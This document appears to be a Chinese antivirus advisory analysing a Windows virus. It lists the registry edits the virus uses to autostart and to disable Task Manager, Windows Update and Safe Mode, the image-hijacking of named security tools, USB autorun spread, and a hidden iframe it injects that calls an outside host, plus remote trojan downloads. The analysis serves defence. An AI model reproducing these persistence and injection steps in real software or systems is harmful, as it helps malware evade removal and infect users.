|
|
病毒行为：
1、病毒运行后释放以下文件：
%System%\Systom.exe
2、在注册表内添加自启动项：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"crsss"="%System%\Systom.exe"
3、在注册表内添加以下键值禁用任务管理器和Windows的自动升级功能：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate]
"DisableWindowsUpdateAccess"=dword:00000001
4、删除注册表内对应于"显示所有文件和文件夹"的键值，并将"不显示隐藏的文件和文件夹"选项的显示文字更改为"显
示所有文件和文件夹"，造成欺骗的效果，如图：
病毒删除以下键值：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
"RegPath"="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"
"Text"="@shell32.dll,-30500"
"Type"="radio"
"CheckedValue"=dword:00000001
"ValueName"="Hidden"
"DefaultValue"=dword:00000002
"HKeyRoot"=dword:80000001
"HelpID"="shell.hlp#51105"
更改设置以下键值为：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN]
"Text"="显示所有文件和文件夹"
5，利用映像劫持使各大杀毒软件及安全工具不能运行，所劫持路径均指向病毒本身，被劫持的进程有：
360rpt.exe,360Safe.exe,360tray.exe,adam.exe,AgentSvr.exe,AppSvc32.exe,AST.exe,autoruns.exe,
avgrssvc.exe,AvMonitor.exe,avp.com,avp.exe,CCenter.exe,ccSvcHst.exe,FileDsty.exe,FTCleanerShell.exe,
HijackThis.exe,IceSword.exe,iparmo.exe,Iparmor.exe,isPwdSvc.exe,kabaload.exe,KaScrScn.SCR,
KASMain.exe,KASTask.exe,KAV32.exe,KAVDX.exe,KAVPFW.exe,KAVSetup.exe,KAVStart.exe,KISLnchr.exe,
KMailMon.exe,KMFilter.exe,KPFW32.exe,KPFW32X.exe,KPFWSvc.exe,KRegEx.exe,krepair.COM,KsLoader.exe,
KVCenter.kxp,KvDetect.exe,KvfwMcl.exe,KVMonXP.kxp,KVMonXP_1.kxp,kvol.exe,kvolself.exe,KvReport.kxp,
KVScan.kxp,KVSrvXP.exe,KVStub.kxp,kvupload.exe,kvwsc.exe,KvXP.kxp,KvXP_1.kxp,KWatch.exe,
KWatch9x.exe,KWatchX.exe,loaddll.exe,MagicSet.exe,mcconsol.exe,mmqczj.exe,mmsk.exe,NAVSetup.exe,
PFW.exe,PFWLiveUpdate.exe,QHSET.exe,Ras.exe,Rav.exe,RavMon.exe,RavMonD.exe,shcfg32.exe,
SmartUp.exe,SREng.exe,symlcsvc.exe,SysSafe.exe,TrojanDetector.exe
6，删除以下注册表项破坏安全模式，导致进入安全模式时蓝屏：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot
\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot
\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot
\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot
\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\
7，复制自身到磁盘跟目录下并重命名为nx.exe，生成autorun.inf文件，便于随U盘等移动设备传播。
8，遍历磁盘向网页文件中插入以下代码：
<IfrAmE src=http://www.testks.com/gm/sd.htm width=0 height=0></IfrAmE>
9，连接网络统计受害者数量。
10，连接http://xx.522love.cn/****/down1.txt，获取文件，并根据文件中的地址下载病毒木马并运行。
|